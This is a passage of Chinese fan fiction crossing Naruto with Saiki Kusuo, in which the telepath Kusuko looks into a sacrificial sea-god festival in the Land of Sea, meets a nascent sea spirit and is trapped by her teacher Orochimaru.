‘将这个世界,强行扭转成另外一番模样,又有什么意义呢?’ 连在她原本的搞笑漫画世界,都有着战争、欺诈、灾难的存在,就算她成为神,也什么都改变不了。 侍者已经离开,现在这桌上就只有长门和挡在他们面前的巨大砗磲。 长门低声询问,“楠子大人,那海神祭……” “我们已经到了,就没什么难以解决的了。”楠子声音平静,“只是你觉得,我该不该做出彻底的改变呢?” “彻底的……改变?”长门有些难以理解,就像他根本无法想象楠子的力量。 他应该知道楠子足以覆灭一个国家,也足以改变一个国家。 但是,他不知道楠子真正的实力。 楠子抬起了头,粉色的头发自肩头滑落,白皙的面庞轻轻仰起,如同一个朝圣的少女,透露出一丝虚假的希冀。 “如果我的能力更强大一些就好了。” “……” “比如,能够扭转所有人的想法,让战争、欺诈、谋杀……这些词消失在这个世间,是不是会更好一些呢?” 楠子当然不会这样做,但是她偶尔也会这样想象,毕竟谁不想做梦呢? 况且,她在这种时候说出这种话,并不是毫无因由。 和卡卡西一样,被她同样信任着的长门现在也携带着陨石,也就是说,她现在也听不见他的心音。 她也已经在练习了,练习不那么依靠自己的超能力,而是依靠观察。 余光扫过长门。 眉头紧蹙,嘴角发沉,神情郑重……她看到了什么?居然是愤怒吗? “楠子大人,请你不要这样说!”长门的声音愈发低沉,“是的,我和弥彦几人是被自来也师父所救,更因为您才得以颠覆从前的雨隐村,但是,如果一直都依靠您的力量,或者说……依靠那种可怖的神迹,这个世界也并不会变好!” 楠子的神色有些莫名,她的眼睛转向了长门,连声音也带了几分玩味,“你说,那种神迹,可怖?” “是的!”长门的胸口重重起伏,原本颜色深沉、难以看清的轮回眼却像是带上了深切的恐惧与担忧,“如果将这些词汇抹去,那么……那么被改变的我们,究竟是人,还是玩偶呢?” 人……还是玩偶? 楠子凝望着长门,想要判别他究竟说的是真是假,可是无论是他逐渐激动的呼吸,还是那语气,似乎都证明了这是他的真意。 ‘可怖吗?……确实啊,确实可怖。’ 楠子垂下了目光。 她本来应该觉得惋惜,或者痛苦的,但是想想看,像她这样其实十分享受超能力的人,又有什么资格因为觉得自己不被理解而惋惜或者痛苦呢? ‘至少,我还有能力扭转我看不惯的悲剧,而不是躲在被子里哭泣呢。’ 嘴角勾了勾,明明可以强制对方说实话,但是楠子还是给出了没有一点约束力的“祝福”:“长门,不可以欺骗我哦。” “额,楠子大人,我没有……” “我知道,我知道。我这不是在学习信任吗?” “学习……信任?”长门整张脸上都写着不能理解。 难不成,无论是雨隐村的忍者,还是木叶的忍者,都无法让楠子大人信任吗? 他呆愣愣看着楠子,一时间各种复杂的心情都在脑海里缠绕,就见她抬起了头,看向了门口的方向。 “砰”得一声,大门打开,他循声望去,一头灰发的少年披着斗篷,喘着气站在了门口,眼睛在酒馆里面转过一圈,就直勾勾盯着……桌面上的巨大砗磲。 不对!是砗磲挡住了楠子大人! 长门心中一惊,已经单手举起了砗磲。 灰发少年药师兜的平光眼镜对上了楠子毫无感情的眼睛,就见那双眼睛一点一点带上了笑意,连嘴角抿出的弧线,也令人觉得可怖。 【楠子姐,察觉到了什么吗?应该不会吧?已经丢出海神祭做遮掩了……但 那可是楠子姐啊!要死!大蛇丸大人,都说了让你不要作死了!】 【难不成,这下真要变死蛇了吗?不要啊!大蛇丸大人!】 ----------------- 话分两头,几日前,星隐村外,两组人分别。 卡卡西向西,楠子向东。 前者需要和雨隐村的一个忍者小队、妙火、妙珊同行一段路,而后者,则和长门一起。 “长门?你怎么会……”卡卡西皱眉看着长门,心中的不满滋生。 长门却只看了看楠子,“刚好星隐村的任务已经不需要我了,楠子一个人前去,我不大放心。” ‘不放心什么啊……’可卡卡西其实自己也不放心。 忍者小队三人行动是有理由的,除非像是暗部这样必须要隐秘行动的任务。 他不可能因为自己的嫉妒,就反对这件事情。 相反,有了长门在楠子身边,和她一起,他反而应该感到安心才是。 但是,卡卡西并不觉得安心,他时常眉头紧蹙,忍不住幻想长门和楠子一路上会说些什么。 楠子是有些冷淡啦,思想也成熟,更明白不可能随意和外村的忍者交往。 可万一呢?万一在两人独处\遇到危险\同望星空\野外露营\分享美食的时候,两人擦出来那么一点儿火花呢? 而且那是雨隐村啊! 雨隐村离木叶不远,两者又是盟友,楠子的哥哥楠雄听说也借由芳朵的关系,搭上了雨隐村的线,这才能在火之国的娱乐圈又唱又跳。 如果楠子因为感谢长门,就这样、那样……答应他非分的请求的话…… 比如这样: 楠子:“长门大哥,谢谢你,如果不是你,我根本不知如何是好了。” 长门:“没关系的楠子,只要你开心就好。” 楠子:“可是,我毕竟是木叶的忍者,我们之间,我们之间是……” 长门:“别这样说,楠子,只要享受这一刻的安宁就好。” 楠子:“长门大哥。” 长门:“楠子。” “啾~” 啊啊啊!只是想到这里,卡卡西都想要抱头,觉得心像火烧。 这种难受,甚至持续到了和妙火、妙珊分别的时候。 “卡卡西,木叶是那个方向吗?” “是的。”卡卡西的回答依旧干脆利落,可是看着妙火望着那边若有所思和妙珊看“渣男”的眼神,他终于松了松眉头。 “妙火,谢谢你。” 妙火一手叉腰,挑了挑眉,“谢我什么?” ‘当然是因为那块陨石。’自从醒来,卡卡西在检查忍具的时候,就发现了那颗陨石安静呆在自己的忍具包里。 在他料想中,应该没有人会将陨石给他,除了可能有所猜测的妙火。 至于楠子,她在他的心底虽然不能说是像百合花一样单纯,但也相差不多了。 她是医疗忍者不假,可她根本不擅长战斗,也不知道自己的任务,更不可能像是妙火和妙珊一样,偷拿别人的东西。 卡卡西第一个排除的就是她。 面对妙火的疑问,卡卡西只以为对方是不肯承认,于是只是说:“呵,总之,我会记得你这份人情的。” “人情?”妙火灵光一闪,嘴角闪出一抹冷笑,“哈,我知道你在说什么了。你以为,那块陨石是我给你的吗?” 卡卡西眼神一厉,他可没想到妙火会在这种情况下将这件事情说出来,却见对方的嘴角笑意加深。 “别这样,卡卡西,我只是觉得你说的很对,你的女朋友,齐木楠子,真的美丽大方,又温柔善良呢。” 对方的话语像是一束闪电,瞬间劈在了卡卡西的大脑上。 “你、你说什么?”难、难不成,是楠子? 一刹那,楠子那时所有的疑惑、疑问和那些别有深意的眼神都串联在了一起。 是啊,他是知道她不喜欢介入别人的人生,只要对方表现出拒绝的态度,她就绝对不会再插手。 可是,如果那个拒绝的人是他呢? ‘她现在还和长门在一起……楠子,楠子……’ 卡卡西的眼睛逐渐睁大。 ‘海之国,我要去那里!不行,还有任务……’ “喂,卡卡西,你……额?”妙火看着卡卡西飞身走远,连个招呼都没打,顿时更加恼火。 只是这时,旁边的妙珊才愣愣询问,“妙火,你说的楠子是谁啊?女朋友又是谁?” “是楠雄啦!就是那个楠雄!”妙火气急败坏地说,可转眼间就看到自己姐姐的神情,自惊讶,转做怔愣。 她转头看向大篷车上的楠雄海报,而后眼睛都开始发红。 “他……不,她是女的吗?” “不、不是吧?妙珊,你不知道吗?”妙火抽了抽嘴角,这下,她心底的屏蔽词,可都是冲着楠子去了。 70.海神祭 他的嘴角抽动了一下,勉强自己露出了一个和善的笑容,稳步走到了楠子的前方,笑道:“楠子姐,没想到,你这么快就来了啊?” “事情已经处理好了,自然就要来了啊。”楠子回复着,紫色的眼眸自上而下打量了一番,嘴角的笑意却加深了。 “兜,我看,你最近过得不错哦。” “额?是吗?呵,大概吧?”他低下了头,灯光反射在镜面上,似乎让人看不清神色,但只有楠子才知道,他慌透了。 【怎么办?楠子姐是在讥讽我吗?是吧?是吧。……不行,舞台已经搭建完毕了,就算是她也不可能全知全能!】 ‘不,我就是全知全能哦。’楠子手指交叉,撑着下巴,目光幽幽,一边搭话,一边欣赏够了药师兜的窘迫神色,才“移驾”到兜所在的研究所。 “这就是大蛇丸大人的设备,我到的时候,他正在研究天体引潮力场与月相周期的时空耦合动力学演化机制之间的关系呢!” 说出这么长一段话,药师兜几乎都要气短了,楠子只是点点头,看着眼前机械的结构,不置可否,简直像是这项研究的投资者一样啊。 至少,这里表面的工作人员都是这样想的。 他们穿着白大褂,手中握着笔,心声嘈杂,却连自己在研究些什么都不知道。 ‘漏洞百出,真是漏洞百出。’楠子蹙起眉,‘大蛇丸师父,你究竟在想些什么呢?’ 她沉默片刻,“兜,还是把我带到住宿的地方吧。” “哦,好的。”兜看了看还在长门手中的砗磲,“这个也需要放下吧?……不过,它不需要泡在海水里吗?或者楠子姐你想把它做成珠子?我可以问问当地人……” “不需要。把它放着就好。” 这个假基地里的住宿环境至少要比海之国带着腥气的旅馆里好,楠子将东西放好,就叫上了长门一起出门。 至于身后喋喋不休的小尾巴兜则根本不需要在意。 “楠子大人,如果需要的话,我可以……”长门面色严肃,做出了个手斩的姿势。 兜睁大了眼睛,“喂喂喂,长门大哥,我还在这里呢,别看你年长,就能做出这种事啊!” ‘但是,楠子大人明显看着并不算开心啊。’长门瞥了一眼药师兜,心神依旧放在了楠子的身上。 是因为之前在星隐村发生的事吗?亦或者是因为卡卡西? 和卡卡西不一样,长门是知道楠子大人将星隐村的陨石一分为二,一份给了自己,一份交回木叶的。 她是这样说的:“我猜到了卡卡西的任务,估计就是将那块陨石带回木叶。但是,我不可能全然信任木叶。现在,我已经对这块陨石进行了无害化处理,之后,长门你将这块陨石带回去,由雨隐村进行研究吧。” 他当时没有想到楠子大人的师父大蛇丸就是研究的高手,也没有疑惑楠子大人为什么没有把这块陨石交给大蛇丸进行研究,心里只有一个疑惑: ‘楠子大人说的是猜到吧?为什么是猜到?怎么卡卡西没有直接告诉楠子大人他的任务究竟是什么吗?’ 这在长门这种“野生忍者”的想象之中,几乎是不可理解的,因为他与弥彦、小南,几乎分享所有的秘密,除了关于“栗子大人”身份的。 ‘可是木叶派出的任务,和栗子大人的身份又不一样。而且,他不是……爱着楠子大人吗?对着自己爱的人,难道不能请求帮助,亦或者坦诚地说明吗? ‘不对,就算是我自己的爱人,我也不可能说栗子大人就是楠子大人,可是星隐村的任务,和这件事完全不能类比吧? ‘楠子大人,是因为这件事才不开心的吗?’ 就是怀抱着这样的疑惑,长门才突然提议要和楠子一起前往海之国。 因为陨石已经被长门携带在身上的缘故,楠子可不知道眼前比她大了许多的长门竟然怀抱这样的“少女心事”,否则,她绝对不会将长门带在身边,而是立刻、马上、即时,删除对方的记忆,将他踢回雨隐村的。 但,谁让事情偏偏就这样凑巧呢? 长门对于陨石的特殊力量一无所知,依旧注意着楠子。 在他看来,药师兜明显也有点问题,楠子大人似乎也知道,那么,她会更加伤心吗? 同一个时刻,被两个信任着的人所背叛,这也实在太…… 嗯?楠子大人怎么停下来了? 楠子大人怎么低头了? 楠子大人从地上抽出了什么? 等、等等…… “这是……珊瑚?珊瑚树?”望着眼前高达半米的珊瑚树,长门和兜一样震惊到说不出话来。 “啊……是珊瑚树。”楠子颇有些无语,她对这种东西根本就是无感啊。 紫色的眼眸滑向了路边的墙角,又是那个神神叨叨的女人,跪在地上不断俯首。 “拜托了,拜托了,救救我的儿子和女儿。” 楠子沉默片刻,将手中的珊瑚树丢给了兜。 “把它抱回去,和砗磲放在一起。” “额,楠子姐,不用我再陪你逛逛了吗?”药师兜一脸惊讶,一开始是因为珊瑚,而后就是因为楠子的话。 “不用。”楠子深深望了他一眼,“我只是要去看看海神祭而已。” ----------------- “所以说,所谓的海神祭,就是让少男少女坐在这样的小船上,然后将船推入海湾口,任由洋流将他们带走?” “对!海神会指引他们方向!”做船的老匠人弓着身子,如同一只虾米。 楠子的目光扫过他满是沟壑的黝黑面容,望向了海湾那边。 落日的余晖映照着水面,将黑灰色的岩石辟出一道巨大的缺口,远远能够看到太阳将沉未沉,若要拍下来,画下来,恐怕都是极美的画面。 楠子顿了顿,询问身边颤颤发抖的老人,“您也世代生活在这里,也相信有海神吗?” “那、那当然是有海神了啊!”老人凶恶地瞪大眼睛,又像是注意到了自己是在和谁说话,讷讷低下了头。 “我、我们的船可是必须要有海神的保佑,才能下海的。” “从前,海神也需要祭品吗?” 老人沉默了,但很快又执拗道:“当然啦!如果不是那些童男童女,海神又怎么会保护大家呢?” ‘呀嘞呀嘞,心里想的内容可完全不同呢。’ 楠子点了点头,让老人离开。 海之国原本就没有忍者村,说是国家,不如说是一个渔民自治区。 这样的国家,若是没有忍者保护,就只是其他国家的附属品。 他们自己也心知肚明。 楠子抬起眼来,问长门:“长门,若是你的话,没几个月只需要上交一对少年,甚至不需要是你们自己村子里的人,就可以保障生活无忧,你会认为这样做好吗?” 长门微微一震,像是懂得了什么,猛得回头去看那边船工们的背影。 他们大多身形矮小,佝偻着背,肌肉黝黑,却有种寒酸的感觉。 “他们……知道,海神祭是假的?”他不由得出声。 楠子摇了摇头,“他们只是知道有‘海神’,只要用人命交换就能保平安。但是,如果我赶走了‘海神’,说不定还有别的强盗来到这里,到时候,就不是每三个月死一对少年的结果了。如果像是雨之国从前那样混乱之地,说不定会觉得这样的交易很好呢。” 要破坏海神祭很简单,但重要的是,怎么将这里的情况安定下来。 若说最简单的方法,当然是让海之国雇佣木叶的忍者进行保护,但是现在虽然战争已经逐渐停歇,但还不是各国放松警备的时候,不可能用便宜的价格雇佣忍者长期驻留。 其次就是让海之国自己组成战备队,但那更是一个长期的工作。 ‘或者,我就这样,破坏掉海神祭,而后离开呢?哎……真难办啊。’ 还在思考的楠子转身欲走,就感觉自己的衣袖被 人拉住。 视线自自己的衣角移到了长门的面容之上,青年俊秀的面容上满是纠结,“不可以。” “什么?” 长门抬起了头,神色郑重,“楠子大人,雨之国,是绝对不会那样做的!付出他人的生命,只为自己能够苟活,这样的事,我绝对不能认同!” “哦?”楠子有些意外,或者也不那么意外,因为长门一直很单纯。 “但是,就算因此死去更多的人,也可以吗?说起来,你觉得你无法决定一对少年的死亡,又为什么觉得,自己能够决定多数人的生死呢?” “这……”长门一脸震撼,说不出话来。 他说不出来是正常的,因为这正是楠子在另一个世界的经典题目——电车难题。 轨道上绑着五个人,拉动拉杆,电车会改道,撞死另外一条路上的一个人;但不拉,轨道上的五个人必死无疑。 是救多数人,还是少数人?这甚至还牵扯到是否应该将人命放在天平上称量,用“5”和“1”来进行对比。 这道题没有对错,只是能够看出来一个人的倾向和选择而已。 楠子也不是很在意长门的选择。 她只是在想要怎么解决海之国的事,只是才走到沙地上,脚下又是一硬。 ‘又来了。’楠子深深呼吸,低头去看,透视已经让她看到了沙地下的巨大贝壳。 她没有弯腰,没有动手,连头也没抬。 “长门,把这个东西拿回去。” 兀自沉浸在思考之中的长门看了过来,“什么,楠子大人?” “就是这个。”楠子用脚尖点了点脚下那硬质的东西,朝着一个角落走去。 “求求你,求求你……救救我的儿子和女……” “谁是你的儿子和女儿呢?”楠子有些困惑,“是被淹没的少年和少女,还是那些献祭了他们的渔民?啊……是不是应该叫‘愚民’才对?” 她的话语让老妇人的动作一顿,却又继续叩首。 “救救我的儿子和女儿……” ‘不想沟通吗?’楠子垂眸望着。 “楠、楠子大人?这……您在和谁说话?”长门警惕的声音响起,可是看着他那抱着巨大贝壳类生物的可笑样子,她就只能抿唇。 “不,没什么。” 她转身离开。 这个世界上有灵存在,但是生成灵的条件十分苛刻,迄今为止,她也只见过泉奈一个拥有自己意识、能够附身和表达,且拥有自身力量的灵。 但是,这个老妇人的灵,虽然没有自己的意识,却有着一种本能。 维护海之民的本能。 ‘这才是真正的海神吧?’楠子的心中已经涌现出一系列想法。 君权神授、自治会、民兵所…… 但是这一切,都需要有人来维护,到底要去哪里找一个这样的人? 楠子的脚步停在了街边。 “楠子大人?” “长门,安静。” “……是,楠子大人。” 她闭上眼,潜下心神,将自己的心灵感应放大,直到覆盖整个海之国。 【明天,要去打鱼。】 【海神祭就要来了,可不要选中我的孩子。】 【嘿嘿,今天把礼物送过去了,明天是不是能摸摸她的小手?】 【海神……我要为我的孩子复仇!】 【救救我,好痛苦……真的好痛苦……】 【啊……楠子来了啊,呵,兜也真是的,难不成,以为我会怕她?】 是大蛇丸师父! 她的眼睛猛地睁开,看向了一个方向,几乎下意识地要使出透视来,可最终只是盯着那几乎要压下来的暗幕默不作声。 “楠子大人?” “没事。”她转回了头,白皙的面容上勾勒出一抹和白日迥异的笑,如同被点燃的火焰,只是那笑容也如烟火一般一闪而逝。 而后,大踏步地走了出去。 71.信任 楠子就知道,她的师父大蛇丸就在这里,还不爱干好事。 凌晨三点,她睁开眼睛,踏步起身,顺着傍晚听到声音的方向而去,凌虚御空,不一会儿就落在了一片岩壁之上。 这时候她才发现,在背离海岸线的一面之上,居然有一个巨大的洞窟。 ‘是在地下吗?’她随意扫了一眼,想要用透视的时候,又硬生生止住。 那可是大蛇丸师父,谁知道会看到什么脏东西? 顺着岩壁直直而下,没多久就看到了一片水潭。 这明显就是在水路之后藏着另外一层通道,尤其这里的岩壁之上,还用岩石的造型,隐藏着数个摄像头。 她甚至能够注意到,有人在注视着她。 ‘是师父吧?’ 可奇异的是,除了一阵又一阵的哀嚎,她居然没有听到大蛇丸的心声。 其实这才是她之前为什么会想要来寻找大蛇丸的原因。 成为大蛇丸的弟子已经数年了,她自认为对于大蛇丸也了解得清楚明白,知道自己的这位师父表面上潇洒不羁,实际上却隐藏着一个邪恶的灵魂。 因为这几年大蛇丸已经逐渐收敛,她也就捏着鼻子认了这个师父。 可是渐渐的,不知道为什么,在这一年来,她的师父外出做任务的时间越来越多,而她所能听到的心声却越来越少。 这不合理。 首先,大蛇丸是唯一留在木叶的三忍,在前些年他一直想要争夺火影的名号,像这样常年在外做一些无法说出的任务,自然会影响他的名望提升计划。 其次,因为拥有着智慧的大脑,所以大蛇丸师父通常都是表面说一套,内里想一套,偶尔脑内的小剧场简直就和搞笑艺人的短剧差不多,让她每每都要强压住嘴角的笑意,让自己的脸绷住表情。 可事情实在变化太大了呀。 心里如此想着,楠子的行动却越发迅速。只是连她也没有想到,水道之后,眼前是一个巨大的空间。 一排排荧光灯照的这里亮如白昼,错落的仪器整齐排列,在荧光灯下闪着寒冷的光,正中间却有一个忍者躺在手术床上,那居然是……御手洗红豆。 ‘呀嘞呀嘞,果然是陷阱啊。’她心里想着,面上却做出一副着急的神情,快速地扑了上去:“红豆!红豆!你醒一醒!” 她的手轻轻拍打在红豆的面颊之上,红豆却一时之间醒不过来。 身后传来熟悉的脚步声,她的身体似是猛地一顿,然后缓缓地回过头来,喃喃念出一个名字:“大蛇丸师父……嗯?” 楠子原本还想让这一幕变得郑重,就如同悲剧电影里那些师徒反目的场景一样,但是此时此刻看见大蛇丸的装扮,她却只是心中觉得窘迫。 因为此时此刻,大蛇丸的额头上居然戴着一个如同美少女战士一般的头箍,只差镶上宝石了! ‘大蛇丸师父,你难不成是想要穿女装吗?……额?等等。’ 她……听不到他的心声? 楠子的目光猛然一厉,落在了对方那可笑的白色发箍之上。 那究竟是什么?是和那个陨石一个材料的东西吗?还是其他什么? 关于自己的超能力,大蛇丸究竟知道多少? 楠子心中窜出一系列想法,面上却强忍着没有做出任何神情,反而显露出一点点放松的意味。 “师父!没想到您也在这里,红豆她似乎是被人抓了,我根本叫不醒她!红豆红豆,师父来了!你……” 大蛇丸嘴角带笑,而那金色的蛇瞳盯视着她,无视了她惶急的动作,笑容反而越来越大,直到如同蛇一般几乎满溢到了脸颊的两边。 他才笑道:“好啦好啦,楠子,你不用装啦。” 楠子露出迷惘的神情,“装什么?大蛇丸师父,我实在是不明白。” “呵,我真该告诉你的,你的演技和你的哥哥一样差!” +皿+ ‘谁演技差啦!无论是楠雄还是楠子,都是我自己啊!’楠子差点绷不住了,甚至想问问自己的师父大蛇丸,她的演技哪里差了! 她明明都是1比1复刻的啊喂! 可她忍住了,深呼吸一口,就露出了苦笑,“大蛇丸师父,说什么演技差,现在红豆还……” “你在担心她吗?”大蛇丸似是对她的神情颇感兴趣,但他脚步就像是灌了水泥一样钉在了那里,“如果是你的话,难不成不能仅凭看她一眼,就分辨出她的伤势吗?” 楠子的心重重下沉,面色却是不变,“你在说什么?我听不明白呀。” 大蛇丸却是手摊了摊,金色的蛇瞳扫过,笑容越发肆意,“楠子啊,你难不成……以为自己隐藏得很好吗?” “……什么?” 大蛇丸摇了摇头,眼睛危险地眯起。 “只要别人想做什么,哪怕只是在心里想想,你都会随即做出反应;看到其他人的伤势,只要上下扫过一眼,就能判断出谁该先接受救治;虽然说什么不熟练查克拉,但是你的医疗忍术却很强……不,那应该不能称之为医疗忍术吧?应该说是神迹才对!原本应该受伤的,可哪怕是用针扎,用苦无划,也不可能在你的身上划出任何的痕迹,哈哈哈,你以为我没有发现吗?你唯一的弱点,就是头脑不好了吧!” ‘胡说!我明明聪明得很!’楠子在脑内大声反驳。 可她又不是小孩子了,怎么可能在这种时候就为这种事情和大蛇丸吵起来。 她只是目光沉沉,看向了大蛇丸,“那么,大蛇丸师父,虽然我不知道您在说什么胡话,但是您现在……在干什么呢?” “哈!你不知道吧?”大蛇丸明显更高兴了,连沾染了水汽,显得沉重的发丝都开始飞扬,他顺着发丝飞舞的方向倒回,点了点自己额头的发箍,“你看这是什么?” “什么?”楠子绷住表情,‘我看你像水手火星啊喂!现在要不要露出你的大长腿给我看看呀?’ 无疑,她气爆了。 可是大蛇丸见她不答,只是得意地笑了笑,那双金色的眼眸亮晶晶的,根本不像是一个人近中年的“老人”。 “楠子哟,你太大意了!你难道不知道吗?这个世界上,最昂贵的东西是信任,而最容易颠覆的东西,可也是信任啊!” 他声音悠扬,说到最后,语气愤愤,竟然有些咬牙切齿。 “什么?”楠子皱起了眉头,不能听到他的心声,她真的不知 道自己的师父在无理取闹些什么……呃?! 她的瞳孔猛缩,后腰似是被重重按了一下。 楠子余光扫过,红豆眼睛发沉,自手术台上坐起。 她的手中,一根针管狠狠地推下,楠子的眉头蹙了蹙,随即倒下。 空荡的山洞里,只传来大蛇丸阵阵邪恶的笑声。 楠子当然没有真的倒下,她只是想看看自己的师父大蛇丸究竟要做些什么。 ‘是要拿我做实验,还是做什么?’只要大蛇丸动手,她就有理由反击。 只是她眉头忽得一皱,那边大蛇丸已经传来一声惊呼,他的身形急速后退,楠子也只来得及听到哗啦的水声。 紧接着,一张海水组成的大手,就“pia~”的一声拍向了大蛇丸,顺便将自己也掩入其中。 “咳、咳咳!” 楠子将眼睛打开一条缝,就见红豆捂住了嗓子。 她没有恢复神智,只是反射性地渴望空气。 ‘糟糕!’楠子心中暗叫不好。 远处已经伸出两条长长的蛇头,一个一口咬住了红豆的肩膀,另外一个则试图拽住自己。 楠子也想要配合的,可是巨手中的水流忽而卷动,将那颗蛇头瞬间搅碎。 她动作一滞,心念微转,还是顺着那股洋流的力道,摔入水中。 最后的视线之中,只留下大蛇丸师父那张震惊的苍白面容。 ‘该!’楠子想着。 一进入水中,她也不再伪装昏迷,而是顺着洋流的力量,去寻找它的源头。 但似乎是察觉她醒了,那股力量反而想要缩回去。 楠子只得“发声”,“不要躲了,不然,我就把你揪出来。” 这是她用意念发出的声音,心情不好,自然难得冷淡。 水流似是在她身边一转,拉扯着她的衣角,向着另外一个方向而去。 楠子自然不会害怕。 顺着水流的指引,看着周围的鱼群好奇地观察她,而后绕着她的身影离开。 最后,则落在了一个巨大的螺旋形贝壳之外。 ‘这是什么寄居蟹的壳吗?’她正想着,是否应该在螺壳上敲敲门,就感受到了那股纯粹的力量,不由得紧盯着螺壳中的黑暗空间。 那里,黑暗中走出来了一个不到她腰高的女孩。 楠子不由得眼皮一跳。 那女孩的裙边如同半透明的水母,头上的头发却像是将炫丽的海葵倒扣下来。 她没有五官,只是如同胶质一般的面皮,两只手臂也是如此。 女孩的身躯慢慢地从黑暗中一点一点地漂浮出来,头上的海葵“假发”甚至因为水流的影响,悬浮了几秒,又被她的手臂狠狠压下。 她应该是想试图微笑的,因为楠子从这个灵身上感受到了“欢喜”和“不好意思”两种情绪。 可看着她那如同恐怖片里滚出来的果冻一般的形象,楠子又实在没眼去看。 她只能木着脸,不让自己露出一丝一毫的异样情感——那样的话,伤到了“她”的心怎么办? 她正想说话,就听见眼前的女孩“道”:“好心的神,琥珀,救了你,实现……愿望……” 72.期望 ‘好心的神?是在说我吗?’ 她齐木楠子可从来不是什么好心的神啊,至少看到面前女孩的样子,她就不想要给予任何帮助了哎喂。 “你叫什么?是叫琥珀是吗?”她面无表情问。 “实现……琥珀……愿望,神。” 楠子挑挑眉,故意道:“你的愿望是成神?” 那女孩根本没察觉楠子的调侃,天真道:“神……实现……琥珀愿望。” “你的愿望是什么?” “救……救……儿子,女儿。” 这个灵只有七八岁的模样,实在很难令人相信,她居然把那些比她大许多的渔民称作儿子和女儿。 是在模仿其他的渔民吗?还是怎么回事? 说实话,楠子也能理解,许多神话中的神都具备母亲的形象,那都是因为创造出神明的人希望对方拥有慈爱的特性,像是母亲一样包容。 但是这个海灵呢? 楠子感受得到,她拥有着纯粹的灵魂,想要拯救所谓的“孩子”,也是因为岸上渔民们的祈愿。 但楠子的思维却理智而冷酷。 只有恩惠却没有严酷的手段,是无法成为一个合格的神的。 因为只拥有前者,滋生的便只有懒惰和贪婪。 要说她为什么会有这样的想法…… ‘那绝对都是大蛇丸师父的错!’这样一想,楠子便心安理得。 “就算我救下了这些孩子,未来他们也还是有可能会受伤哦,我不喜欢做这样的无用功。” 那女孩露出懵懂的神情,歪了歪头,继续传出单纯又微弱的声音:“救……救……孩子。” ‘根本还什么都不懂嘛。’ 楠子摇了摇头,干脆不再与她沟通,转而望向山洞的方向。 那是一座漆黑的礁石,就像是海面的浮冰,有着上小下大的结构,深深扎根于海底,就像是一座倒置的阴森古堡。 远远望去,若不是她拥有异常的视力,恐怕会真的什么都看不见。 她早就知道自己的师傅大蛇丸一直在做些坏事,只是不清楚对方究竟在研究些什么。 这一次,她原本只打算伪装受伤,借机来打探一下大蛇丸的作为,顺便给他一个测试,之后再做出最终的决定。 是的,她早就预料到了,大蛇丸偷偷摸摸,一定是在做她所不能接受的事。 那么,究竟是什么呢? 挑拨战争?破坏木叶的安宁,亦或者是……人体实验? 想到这里,楠子的睫毛就是一颤。 她虽然冷漠,但也不可能放任邪恶滋生。 如果大蛇丸真的做出那样的事,她也只能…… ‘呀嘞呀嘞,这才是我一直惫懒到不想行动的原因吗?’ 楠子露出苦笑。 亲手杀死大蛇丸? 迄今为止,她还没有收取一个忍者的性命呢。 结果,第一个死在她手上的,就会是她亲爱的老师吗? 楠子看着自己白皙纤细的手。 这双手看起来根本不像是能杀人的手,可楠子知道,只要她一个想法,大蛇丸的头就会像是烟花一样“砰”得爆开。 “不要,伤心。”细嫩的声音传入大脑,那水母一样的手试探着握住了她的。 “我没有伤心。”楠子板起了面孔,看着那女孩没有五官的脸,对方却只是歪头,像是不明白她在说些什么。 ‘算了,和她根本说不明白。’楠子她摇了摇头,问:“你有没有可以信任的人?比如经常供奉你的人,或是你熟知的人?” “救……救……孩子,不……伤心。”女孩依旧机械地重复着。 楠子耐心解释:“如果这片土地没有能守护他们的人,这个国家往后依旧会遭受侵扰。到那时,需要牺牲的就不只是一批少年儿童,每隔数月、每过一段时日,都会有人遭遇洗劫。” “琥珀……守护。” “可你现在连好好回应我的能力都没有。”楠子语气冷淡。 “守护……救……孩子。” 楠子心中无奈,像是这样单纯的孩子,成为海灵,也只不过会受人利用。 就算楠子不用自己的超级大脑,都能预想出数十种悲剧呢。 她的神情认真了几分,“我是认真的,等你真正拥有自己意志的时候,再来找我吧。只不过到那时,琥珀,你或许已经消失了。” “琥珀……消失?” 楠子垂下了眼,手指穿过那海葵一般的头发。 在这个世界上,没有人知道,她其实只凭自己的意志,就完全可以直接定义一个“生物”,并赐予他\她“意识”,就像是停留在雨隐村的地标“初号机”和“火龙”。 可她知道自己已经足够傲慢,并不想要用那样的方式,让自己向着“神”更迈进一步。 因为她知道,那样的她根本不可能成为一个慈爱的母神,反而会成为一个抖S之神也说不定。 而面前的灵有着自己的意识,若是她强行催化出新的意识,那就相当于把琥珀原本的意识磨灭,转而用它的能量塑造出一个新神。 新生的神会拥有她齐木楠子所设定的性格、面貌、任务,这不是琥珀,而是她“偷窃”琥珀力量填装的人偶。 大人,或者说强者,不能因为自觉自己懂得更多,力量更强,就强行扭转他人的意识。 无论是她的骄傲,还是她聪慧的大脑,都不允许她做出这样的蠢事。 因为这个世界上,没有人能节制她,只有她自己。 抚摸着琥珀的脑袋,她说:“只有你自己进化出属于你的意志,那才是真正的你。如果是借由我的力量……” 看着女孩懵懂茫然的脸庞,楠子忽而轻叹一声:“算了,我跟你说这些做什么。如今的你,根本没法做出自己的选择啊。” 回应她的,只有女孩裙摆摇动时流动的海浪。 ----------------- 海之国的地下基地。 “快点,找到了吗?”大蛇丸的语气里终于透出一丝焦急。 “找不到,完全探测不到她的气息!”额头宽大的疯狂科学家诧异看向身旁的合作者,“大蛇丸大人,这位弟子,对您很重要吗?” 明亮的灯光反射在他的大脑门上,显露出了几分“智慧”的光芒。 注意到了他的神情,大蛇丸冷静了几分,轻笑一声:“算不上,只是让她逃走的话,会很麻烦。” “这样啊。”那名疯狂科学家点了点头,“原来如此。那我们不如派遣海兽前去抓捕,至少也要找到她的尸体。” ‘这个傻子!’ 大蛇丸瞪着他,如同在看一个蠢货。 他早 知道楠子的实力绝非寻常,他又不是个傻子! 早在收齐木楠子为徒之初,他就察觉到了异样。 齐木楠子在下棋方面,拥有极致敏锐的观察力与超强的推演能力,总能提前预判敌人的下一步动作。 起初,大蛇丸只当她是天赋异禀,可相处越久,越发觉得不对劲。 哪怕只是对视一眼,或是心底刚萌生念头,就会被她尽数洞悉,这未免太过匪夷所思了。 一次罢了,两次罢了…… 可她根本只是随意遮掩了一下,根本没有用心! 这大概也源于他这位弟子的特殊性格。 楠子看似冷漠低调,实则骨子里极为骄傲,一双带着冷意的眼睛,时不时就会露出鄙夷的神情。 要说大蛇丸是怎么看出来的,只因为他大蛇丸也是这样的天才啊! 可是,和大蛇丸不同,她从不屑刻意隐藏自身的异常,或者说,只在自己认定的安全范围内收敛锋芒。 